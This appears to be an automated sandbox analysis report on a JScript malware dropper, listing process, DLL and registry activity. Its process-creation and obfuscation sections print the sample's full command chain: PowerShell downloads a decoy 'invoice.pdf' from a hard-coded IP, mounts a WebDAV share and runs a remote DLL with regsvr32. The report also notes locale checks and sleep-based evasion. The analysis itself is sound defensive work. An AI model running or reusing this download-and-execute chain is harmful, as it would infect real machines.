Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1410.js.csv");ITextStream.WriteLine(" entry:7846 f:prlztbk");ITextStream.WriteLine(" exec:2 f:prlztbk");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5391			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4461			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5336	Thread sleep count: 5391 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5336	Thread sleep count: 4461 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6332	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5852	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7404	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7652	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 0000000D.00000002.1319098296.00000171C7E28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@a
Source: net.exe, 0000000D.00000002.1319098296.00000171C7E91000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.2545710562.000001F6EDA2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.2547770054.000001F6F3052000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

